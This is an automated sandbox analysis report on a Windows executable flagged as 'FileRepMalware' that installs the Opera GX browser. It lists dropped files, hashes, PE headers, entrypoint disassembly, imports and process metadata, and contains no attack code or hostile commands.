                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3df488.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3df4a8.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3df4c7.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3df4d7.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\Desktop\Opera GX Browser .lnk

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe
                                                                                                                                                                                                              File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Archive, ctime=Sun Oct 13 07:33:55 2024, mtime=Sun Oct 13 07:33:55 2024, atime=Wed Oct 9 12:28:55 2024, length=1493400, window=hide
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1435
                                                                                                                                                                                                              Entropy (8bit):4.9494069679471195
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:C03CA19841C4782A92DA82E36E90D315
                                                                                                                                                                                                              SHA1:95D40AD43C6A9E70E3AD30F4594F1A143B31D40C
                                                                                                                                                                                                              SHA-256:CFC71CA3FDF85FFCC58028FFEA53584F6332F85F3AE0ABDE5D253540C0439E86
                                                                                                                                                                                                              SHA-512:F78BE7E0E905890923D7F08AF836951760C5E706993B9DCD13972CA8F15C36DC4D8BF2B8595A921B682B7B6C12DACB9CB41ABDE056290762A9C5B249CE0E8625
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:L..................F.... ......J......J...b.%0O.............................:..DG..Yr?.D..U..k0.&...&......Qg.*_....i.A.....&.J.......t...CFSF..1.....EW.=..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW.=MY.C..........................3*N.A.p.p.D.a.t.a...B.P.1.....MY.;..Local.<......EW.=MY.C..........................[.-.L.o.c.a.l.....Z.1.....MY.C..Programs..B......MY.;MY.C............................].P.r.o.g.r.a.m.s.....Z.1.....MY<D..OPERAG~1..B......MY.CMY<D....9"......................A.O.p.e.r.a. .G.X.....\.2.....IY.k .opera.exe.D......MY<DMY<D.....S........................o.p.e.r.a...e.x.e.......k...............-.......j...........r0......C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe..,.....\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.P.r.o.g.r.a.m.s.\.O.p.e.r.a. .G.X.\.o.p.e.r.a...e.x.e.2.C.:.\.U.s.e.r.s.\.f.r.o.n.t.d.e.s.k.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.P.r.o.g.r.a.m.s.\.O.p.e.r.a. .G.X.............:...........|....I.J.H..K..:...`.......X.......928100...........hT..

                                                                                                                                                                                                              \Device\Mailslot\opera_installer\C:\Users\user\AppData\Local\Programs\Opera GX

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):5008
                                                                                                                                                                                                              Entropy (8bit):3.9557921126337647
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:4274D3A0F00940EA66C48780D3F9AC52
                                                                                                                                                                                                              SHA1:E3798635603721A4E162C3931F69899C7C5E9107
                                                                                                                                                                                                              SHA-256:92F154584DF37349936E9AC5D8427F1B185E2C55EA5368C2D0F544AFA5299C3F
                                                                                                                                                                                                              SHA-512:A3AED7EB569A1288DA577439C49D37A5ACDB37DC32A705B67C156CC3953C917599727A6C79F17B0B1C93F759A3E78C06F15E1CD779C9CAAA84955A8F7E159BDC
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........:Installer message:..... .......:Installer message:......... .......:Installer message:.....(...8.......:Installer message:.........verify_package_contents.H.......:Installer message:.........verify_package_contents.................P.......:Installer message:...../...copy_file:resources/custom_partner_content.json.`.......:Installer message:...../...copy_file:resources/custom_partner_content.json.................0.......:Installer message:.........delete_file_step@.......:Installer message:.........delete_file_step................0.......:Installer message:.........delete_file_step@.......:Installer message:.........delete_file_step................,.......:Installer message:.........move_file...<.......:Installer message:.........move_file...................,.......:Installer message:.........move_file...<.......:Installer message:.........move_file...................,.......:Installer message:.........move_file...<.......:Installer message:.........move_file...................

                                                                                                                                                                                                              Static File Info

                                                                                                                                                                                                              General

                                                                                                                                                                                                              File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                              Entropy (8bit):7.461060199784228
                                                                                                                                                                                                              TrID:
                                                                                                                                                                                                              • Win32 Executable (generic) a (10002005/4) 98.04%
                                                                                                                                                                                                              • Inno Setup installer (109748/4) 1.08%
                                                                                                                                                                                                              • InstallShield setup (43055/19) 0.42%
                                                                                                                                                                                                              • Win32 EXE PECompact compressed (generic) (41571/9) 0.41%
                                                                                                                                                                                                              • Win16/32 Executable Delphi generic (2074/23) 0.02%
                                                                                                                                                                                                              File name:SecuriteInfo.com.FileRepMalware.27261.32754.exe
                                                                                                                                                                                                              File size:1'764'368 bytes
                                                                                                                                                                                                              MD5:0d43698dffc5ee744f805a699df25c00
                                                                                                                                                                                                              SHA1:c914a0238381f03d2558bedd423228ba3e4e0040
                                                                                                                                                                                                              SHA256:de14c3b860519dc781aaee813d4fa3adc67d7653c544327f8d26d5b386564712
                                                                                                                                                                                                              SHA512:57ffb5585ba3452ef039b59e7ac6c0484387aa37fca93b87e4ef49800d12aef338df010a5b8c87d451484ca0b2f0850ce304858a446247d2b7ed1bb280c1828f
                                                                                                                                                                                                              SSDEEP:24576:s7FUDowAyrTVE3U5F/ZGqKUA4Kic6QL3E2vVsjECUAQT45deRV9RY:sBuZrEUMz4KIy029s4C1eH9y
                                                                                                                                                                                                              TLSH:5085CF3FF268A13EC46A1B3245B39310997BBA61B81A8C1E47FC344DCF765601E3B656
                                                                                                                                                                                                              File Content Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

                                                                                                                                                                                                              File Icon

                                                                                                                                                                                                              Icon Hash:0c0c2d33ceec80aa

                                                                                                                                                                                                              Static PE Info

                                                                                                                                                                                                              General

                                                                                                                                                                                                              Entrypoint:0x4b5eec
                                                                                                                                                                                                              Entrypoint Section:.itext
                                                                                                                                                                                                              Digitally signed:false
                                                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                                                              Subsystem:windows gui
                                                                                                                                                                                                              Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
                                                                                                                                                                                                              DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
                                                                                                                                                                                                              Time Stamp:0x63ECF218 [Wed Feb 15 14:54:16 2023 UTC]
                                                                                                                                                                                                              TLS Callbacks:
                                                                                                                                                                                                              CLR (.Net) Version:
                                                                                                                                                                                                              OS Version Major:6
                                                                                                                                                                                                              OS Version Minor:1
                                                                                                                                                                                                              File Version Major:6
                                                                                                                                                                                                              File Version Minor:1
                                                                                                                                                                                                              Subsystem Version Major:6
                                                                                                                                                                                                              Subsystem Version Minor:1
                                                                                                                                                                                                              Import Hash:e569e6f445d32ba23766ad67d1e3787f

                                                                                                                                                                                                              Entrypoint Preview

                                                                                                                                                                                                              Instruction
                                                                                                                                                                                                              push ebp
                                                                                                                                                                                                              mov ebp, esp
                                                                                                                                                                                                              add esp, FFFFFFA4h
                                                                                                                                                                                                              push ebx
                                                                                                                                                                                                              push esi
                                                                                                                                                                                                              push edi
                                                                                                                                                                                                              xor eax, eax
                                                                                                                                                                                                              mov dword ptr [ebp-3Ch], eax
                                                                                                                                                                                                              mov dword ptr [ebp-40h], eax
                                                                                                                                                                                                              mov dword ptr [ebp-5Ch], eax
                                                                                                                                                                                                              mov dword ptr [ebp-30h], eax
                                                                                                                                                                                                              mov dword ptr [ebp-38h], eax
                                                                                                                                                                                                              mov dword ptr [ebp-34h], eax
                                                                                                                                                                                                              mov dword ptr [ebp-2Ch], eax
                                                                                                                                                                                                              mov dword ptr [ebp-28h], eax
                                                                                                                                                                                                              mov dword ptr [ebp-14h], eax
                                                                                                                                                                                                              mov eax, 004B14B8h
                                                                                                                                                                                                              call 00007F03746958E5h
                                                                                                                                                                                                              xor eax, eax
                                                                                                                                                                                                              push ebp
                                                                                                                                                                                                              push 004B65E2h
                                                                                                                                                                                                              push dword ptr fs:[eax]
                                                                                                                                                                                                              mov dword ptr fs:[eax], esp
                                                                                                                                                                                                              xor edx, edx
                                                                                                                                                                                                              push ebp
                                                                                                                                                                                                              push 004B659Eh
                                                                                                                                                                                                              push dword ptr fs:[edx]
                                                                                                                                                                                                              mov dword ptr fs:[edx], esp
                                                                                                                                                                                                              mov eax, dword ptr [004BE634h]
                                                                                                                                                                                                              call 00007F03747383D7h
                                                                                                                                                                                                              call 00007F0374737F2Ah
                                                                                                                                                                                                              lea edx, dword ptr [ebp-14h]
                                                                                                                                                                                                              xor eax, eax
                                                                                                                                                                                                              call 00007F03746AB384h
                                                                                                                                                                                                              mov edx, dword ptr [ebp-14h]
                                                                                                                                                                                                              mov eax, 004C1D84h
                                                                                                                                                                                                              call 00007F03746904D7h
                                                                                                                                                                                                              push 00000002h
                                                                                                                                                                                                              push 00000000h
                                                                                                                                                                                                              push 00000001h
                                                                                                                                                                                                              mov ecx, dword ptr [004C1D84h]
                                                                                                                                                                                                              mov dl, 01h
                                                                                                                                                                                                              mov eax, dword ptr [004238ECh]
                                                                                                                                                                                                              call 00007F03746AC507h
                                                                                                                                                                                                              mov dword ptr [004C1D88h], eax
                                                                                                                                                                                                              xor edx, edx
                                                                                                                                                                                                              push ebp
                                                                                                                                                                                                              push 004B654Ah
                                                                                                                                                                                                              push dword ptr fs:[edx]
                                                                                                                                                                                                              mov dword ptr fs:[edx], esp
                                                                                                                                                                                                              call 00007F037473845Fh
                                                                                                                                                                                                              mov dword ptr [004C1D90h], eax
                                                                                                                                                                                                              mov eax, dword ptr [004C1D90h]
                                                                                                                                                                                                              cmp dword ptr [eax+0Ch], 01h
                                                                                                                                                                                                              jne 00007F037473E67Ah
                                                                                                                                                                                                              mov eax, dword ptr [004C1D90h]
                                                                                                                                                                                                              mov edx, 00000028h
                                                                                                                                                                                                              call 00007F03746ACDFCh
                                                                                                                                                                                                              mov edx, dword ptr [004C1D90h]

                                                                                                                                                                                                              Data Directories

                                                                                                                                                                                                              NameVirtual AddressVirtual Size Is in Section
                                                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_EXPORT0xc40000x9a.edata
                                                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_IMPORT0xc20000xfdc.idata
                                                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_RESOURCE0xc70000x11000.rsrc
                                                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_TLS0xc60000x18.rdata
                                                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_IAT0xc22f40x254.idata
                                                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0xc30000x1a4.didata
                                                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                                                                                                              Sections

                                                                                                                                                                                                              NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                                                                                                              .text0x10000xb39e40xb3a0043af0a9476ca224d8e8461f1e22c94daFalse0.34525867693110646data6.357635049994181IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                              .itext0xb50000x16880x1800185e04b9a1f554e31f7f848515dc890cFalse0.54443359375data5.971425428435973IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                              .data0xb70000x37a40x3800cab2107c933b696aa5cf0cc6c3fd3980False0.36097935267857145data5.048648594372454IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                              .bss0xbb0000x6de80x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                              .idata0xc20000xfdc0x1000e7d1635e2624b124cfdce6c360ac21cdFalse0.3798828125data5.029087481102678IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                              .didata0xc30000x1a40x2008ced971d8a7705c98b173e255d8c9aa7False0.345703125data2.7509822285969876IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                              .edata0xc40000x9a0x2008d4e1e508031afe235bf121c80fd7d5fFalse0.2578125data1.877162954504408IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                              .tls0xc50000x180x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                              .rdata0xc60000x5d0x2008f2f090acd9622c88a6a852e72f94e96False0.189453125data1.3838943752217987IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                              .rsrc0xc70000x110000x11000dc6585b5b13c096f53bc11051443b78fFalse0.18573357077205882data3.692578416818775IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                                                                                                                                                                                              Resources

                                                                                                                                                                                                              NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                                                                                                                                              RT_ICON0xc76780xa68Device independent bitmap graphic, 64 x 128 x 4, image size 2048EnglishUnited States0.1174924924924925
                                                                                                                                                                                                              RT_ICON0xc80e00x668Device independent bitmap graphic, 48 x 96 x 4, image size 1152EnglishUnited States0.15792682926829268
                                                                                                                                                                                                              RT_ICON0xc87480x2e8Device independent bitmap graphic, 32 x 64 x 4, image size 512EnglishUnited States0.23387096774193547
                                                                                                                                                                                                              RT_ICON0xc8a300x128Device independent bitmap graphic, 16 x 32 x 4, image size 128EnglishUnited States0.39864864864864863
                                                                                                                                                                                                              RT_ICON0xc8b580x1628Device independent bitmap graphic, 64 x 128 x 8, image size 4096, 256 important colorsEnglishUnited States0.08339210155148095
                                                                                                                                                                                                              RT_ICON0xca1800xea8Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colorsEnglishUnited States0.1023454157782516
                                                                                                                                                                                                              RT_ICON0xcb0280x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colorsEnglishUnited States0.10649819494584838
                                                                                                                                                                                                              RT_ICON0xcb8d00x568Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colorsEnglishUnited States0.10838150289017341
                                                                                                                                                                                                              RT_ICON0xcbe380x12e5PNG image data, 256 x 256, 8-bit/color RGBA, non-interlacedEnglishUnited States0.8712011577424024
                                                                                                                                                                                                              RT_ICON0xcd1200x4228Device independent bitmap graphic, 64 x 128 x 32, image size 16896EnglishUnited States0.05668398677373642
                                                                                                                                                                                                              RT_ICON0xd13480x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 9600EnglishUnited States0.08475103734439834
                                                                                                                                                                                                              RT_ICON0xd38f00x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 4224EnglishUnited States0.09920262664165103
                                                                                                                                                                                                              RT_ICON0xd49980x468Device independent bitmap graphic, 16 x 32 x 32, image size 1088EnglishUnited States0.2047872340425532
                                                                                                                                                                                                              RT_STRING0xd4e000x360data0.34375
                                                                                                                                                                                                              RT_STRING0xd51600x260data0.3256578947368421
                                                                                                                                                                                                              RT_STRING0xd53c00x45cdata0.4068100358422939
                                                                                                                                                                                                              RT_STRING0xd581c0x40cdata0.3754826254826255
                                                                                                                                                                                                              RT_STRING0xd5c280x2d4data0.39226519337016574
                                                                                                                                                                                                              RT_STRING0xd5efc0xb8data0.6467391304347826
                                                                                                                                                                                                              RT_STRING0xd5fb40x9cdata0.6410256410256411
                                                                                                                                                                                                              RT_STRING0xd60500x374data0.4230769230769231
                                                                                                                                                                                                              RT_STRING0xd63c40x398data0.3358695652173913
                                                                                                                                                                                                              RT_STRING0xd675c0x368data0.3795871559633027
                                                                                                                                                                                                              RT_STRING0xd6ac40x2a4data0.4275147928994083
                                                                                                                                                                                                              RT_RCDATA0xd6d680x10data1.5
                                                                                                                                                                                                              RT_RCDATA0xd6d780x2c4data0.6384180790960452
                                                                                                                                                                                                              RT_RCDATA0xd703c0x2cdata1.1818181818181819
                                                                                                                                                                                                              RT_GROUP_ICON0xd70680xbcdataEnglishUnited States0.6170212765957447
                                                                                                                                                                                                              RT_VERSION0xd71240x584dataEnglishUnited States0.2507082152974504
                                                                                                                                                                                                              RT_MANIFEST0xd76a80x7a8XML 1.0 document, ASCII text, with CRLF line terminatorsEnglishUnited States0.3377551020408163

                                                                                                                                                                                                              Imports

                                                                                                                                                                                                              DLLImport
                                                                                                                                                                                                              kernel32.dllGetACP, GetExitCodeProcess, LocalFree, CloseHandle, SizeofResource, VirtualProtect, VirtualFree, GetFullPathNameW, ExitProcess, HeapAlloc, GetCPInfoExW, RtlUnwind, GetCPInfo, GetStdHandle, GetModuleHandleW, FreeLibrary, HeapDestroy, ReadFile, CreateProcessW, GetLastError, GetModuleFileNameW, SetLastError, FindResourceW, CreateThread, CompareStringW, LoadLibraryA, ResetEvent, GetVersion, RaiseException, FormatMessageW, SwitchToThread, GetExitCodeThread, GetCurrentThread, LoadLibraryExW, LockResource, GetCurrentThreadId, UnhandledExceptionFilter, VirtualQuery, VirtualQueryEx, Sleep, EnterCriticalSection, SetFilePointer, LoadResource, SuspendThread, GetTickCount, GetFileSize, GetStartupInfoW, GetFileAttributesW, InitializeCriticalSection, GetSystemWindowsDirectoryW, GetThreadPriority, SetThreadPriority, GetCurrentProcess, VirtualAlloc, GetSystemInfo, GetCommandLineW, LeaveCriticalSection, GetProcAddress, ResumeThread, GetVersionExW, VerifyVersionInfoW, HeapCreate, GetWindowsDirectoryW, VerSetConditionMask, GetDiskFreeSpaceW, FindFirstFileW, GetUserDefaultUILanguage, lstrlenW, QueryPerformanceCounter, SetEndOfFile, HeapFree, WideCharToMultiByte, FindClose, MultiByteToWideChar, LoadLibraryW, SetEvent, CreateFileW, GetLocaleInfoW, GetSystemDirectoryW, DeleteFileW, GetLocalTime, GetEnvironmentVariableW, WaitForSingleObject, WriteFile, ExitThread, DeleteCriticalSection, TlsGetValue, GetDateFormatW, SetErrorMode, IsValidLocale, TlsSetValue, CreateDirectoryW, GetSystemDefaultUILanguage, EnumCalendarInfoW, LocalAlloc, GetUserDefaultLangID, RemoveDirectoryW, CreateEventW, SetThreadLocale, GetThreadLocale
                                                                                                                                                                                                              comctl32.dllInitCommonControls
                                                                                                                                                                                                              version.dllGetFileVersionInfoSizeW, VerQueryValueW, GetFileVersionInfoW
                                                                                                                                                                                                              user32.dllCreateWindowExW, TranslateMessage, CharLowerBuffW, CallWindowProcW, CharUpperW, PeekMessageW, GetSystemMetrics, SetWindowLongW, MessageBoxW, DestroyWindow, CharUpperBuffW, CharNextW, MsgWaitForMultipleObjects, LoadStringW, ExitWindowsEx, DispatchMessageW
                                                                                                                                                                                                              oleaut32.dllSysAllocStringLen, SafeArrayPtrOfIndex, VariantCopy, SafeArrayGetLBound, SafeArrayGetUBound, VariantInit, VariantClear, SysFreeString, SysReAllocStringLen, VariantChangeType, SafeArrayCreate
                                                                                                                                                                                                              netapi32.dllNetWkstaGetInfo, NetApiBufferFree
                                                                                                                                                                                                              advapi32.dllConvertStringSecurityDescriptorToSecurityDescriptorW, RegQueryValueExW, AdjustTokenPrivileges, GetTokenInformation, ConvertSidToStringSidW, LookupPrivilegeValueW, RegCloseKey, OpenProcessToken, RegOpenKeyExW

                                                                                                                                                                                                              Exports

                                                                                                                                                                                                              NameOrdinalAddress
                                                                                                                                                                                                              TMethodImplementationIntercept30x4541a8
                                                                                                                                                                                                              __dbk_fcall_wrapper20x40d0a0
                                                                                                                                                                                                              dbkFCallWrapperAddr10x4be63c

                                                                                                                                                                                                              Possible Origin

                                                                                                                                                                                                              Language of compilation systemCountry where language is spokenMap
                                                                                                                                                                                                              EnglishUnited States

                                                                                                                                                                                                              Network Behavior

                                                                                                                                                                                                              ⊘Skipped network analysis since the amount of network traffic is too extensive. Please download the PCAP and check manually.

                                                                                                                                                                                                              Statistics

                                                                                                                                                                                                              CPU Usage

                                                                                                                                                                                                              Click to jump to process

                                                                                                                                                                                                              Memory Usage

                                                                                                                                                                                                              Click to jump to process

                                                                                                                                                                                                              High Level Behavior Distribution

                                                                                                                                                                                                              Click to dive into process behavior distribution

                                                                                                                                                                                                              Behavior

                                                                                                                                                                                                              Click to jump to process

                                                                                                                                                                                                              System Behavior

                                                                                                                                                                                                              General

                                                                                                                                                                                                              Target ID:1
                                                                                                                                                                                                              Start time:03:29:21
                                                                                                                                                                                                              Start date:13/10/2024
                                                                                                                                                                                                              Path:C:\Users\user\Desktop\SecuriteInfo.com.FileRepMalware.27261.32754.exe
                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                              Commandline:"C:\Users\user\Desktop\SecuriteInfo.com.FileRepMalware.27261.32754.exe"
                                                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                                                              File size:1'764'368 bytes
                                                                                                                                                                                                              MD5 hash:0D43698DFFC5EE744F805A699DF25C00
                                                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                                                              Programmed in:Borland Delphi
                                                                                                                                                                                                              Reputation:low
